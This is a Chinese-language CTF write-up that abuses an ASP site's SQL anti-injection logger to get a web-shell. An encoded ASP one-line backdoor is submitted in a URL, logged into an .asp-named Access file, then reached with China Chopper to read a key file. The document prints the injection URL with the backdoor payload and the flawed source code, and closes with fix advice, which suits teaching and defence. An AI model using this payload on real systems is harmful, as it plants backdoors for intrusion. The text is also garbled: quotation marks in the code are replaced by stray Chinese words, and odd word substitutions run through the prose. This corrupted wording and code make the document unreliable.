1.1.1漏洞测试
1.来自ctf通关的提示
在进行ctf实战中,碰到一个关口,提示采取sql通用防注入系统,通过提示知道key文件就在根目录下,而且记录是写入到数据库内。

图1 ctf关口提示
2.测试语句
在url中添加“and 1=1”进行注入测试,如图2所示,程序操作IP、操作韶光、操作页面、提交办法和提交参数等进行提示和记录,提示攻击者,网站有安全防护。
图2提示注入戒备
1.1.2获取webshell
1.通过sqlmap的绕过防火墙进行测试
在sqlmap中对该url地址进行绕过测试,未能成功。
2.利用加密的Asp一句话木马
利用“and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾“对url地址进行提交,也即:
10.2.66.50:8105/news.asp?id=753%20aNd%202=┼攠數畣整爠煥敵瑳∨≡┩愾
如图3所示,sql防注入系统会自动将url地址写入到sqlin.asp文件。
图3插入一句话后门测试
3.访问sqlin.asp
在浏览器中输入http://10.2.66.50:8156/sqlin.asp进行访问测试,如图4所示,能够正常访问,前面插入的一句话后门直接写入到该文件。
图4测试sqlin.asp文件
4.获取webshell
在中国菜刀后门管理工具中创建asp后门记录http://10.2.66.50:8156/sqlin.asp,密码为a,如图5所示,成功获取webshell。
图5获取webshell
1.1.3获取key及程序漏洞剖析
1.获取key值
通过webshell成功获取其key.php的值,如图6所示。key.php在网站目录设置了权限,无法通过http://10.2.66.50:8156/key.php直接获取。
图6获取key值
2.漏洞剖析
(1)news.asp文件
通过对news.asp源代码进行剖析,创造其ID值并未进行任何过滤,明显存在sql注入漏洞。
<% set rs= Server.CreateObject(\公众adodb.recordset\"大众)
sql=\"大众select from news where id=\"大众&request(\"大众id\"大众)
rs.open sql,conn,1,3
bt=rs(\"大众bt\"大众)
nr=rs(\"大众nr\"大众)
(2)sql注入戒备程序剖析
sql注入戒备程序是将数据信息插入到数据库中方便,其关键代码如下:
Fy_dbstr=\"大众DBQ=\"大众+server.mappath(\"大众SqlIn.asp\"大众)+\"大众;DefaultDir=;DRIVER={Microsoft Access Driver (.mdb)};\"大众
Set Fy_db=Server.CreateObject(\"大众ADODB.CONNECTION\"大众)
Fy_db.open Fy_dbstr
Fy_db.Execute(\公众insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('\"大众&Request.ServerVariables(\公众REMOTE_ADDR\"大众)&\"大众','\公众&Request.ServerVariables(\公众URL\"大众)&\"大众','POST','\公众&Fy_Post&\公众','\"大众&replace(Request.Form(Fy_Post),\"大众'\"大众,\"大众''\"大众)&\公众')\"大众)
Fy_db.close
SQL注入戒备程序会将每一次的造孽数据提交到sqlln.asp文件,将该文件重命名为mdb文件,打开后其内容如图7所示,Access数据库获取webshell的一个关键条件和方法都知足,将加密的asp一句话后门写入数据库内容,同时又必须是asp文件。
图7数据库中内容
(3)安全建议
在存在参数传入的地方一定要进行过滤出来,同时进行类型的严格检讨和限定。在本例中利用sql戒备程序可以办理sql注入,但如果sql戒备程序存在毛病的情形,将导致网站存在安全风险。在本例中可以将sqlln.asp修正为mdb文件也可以避免。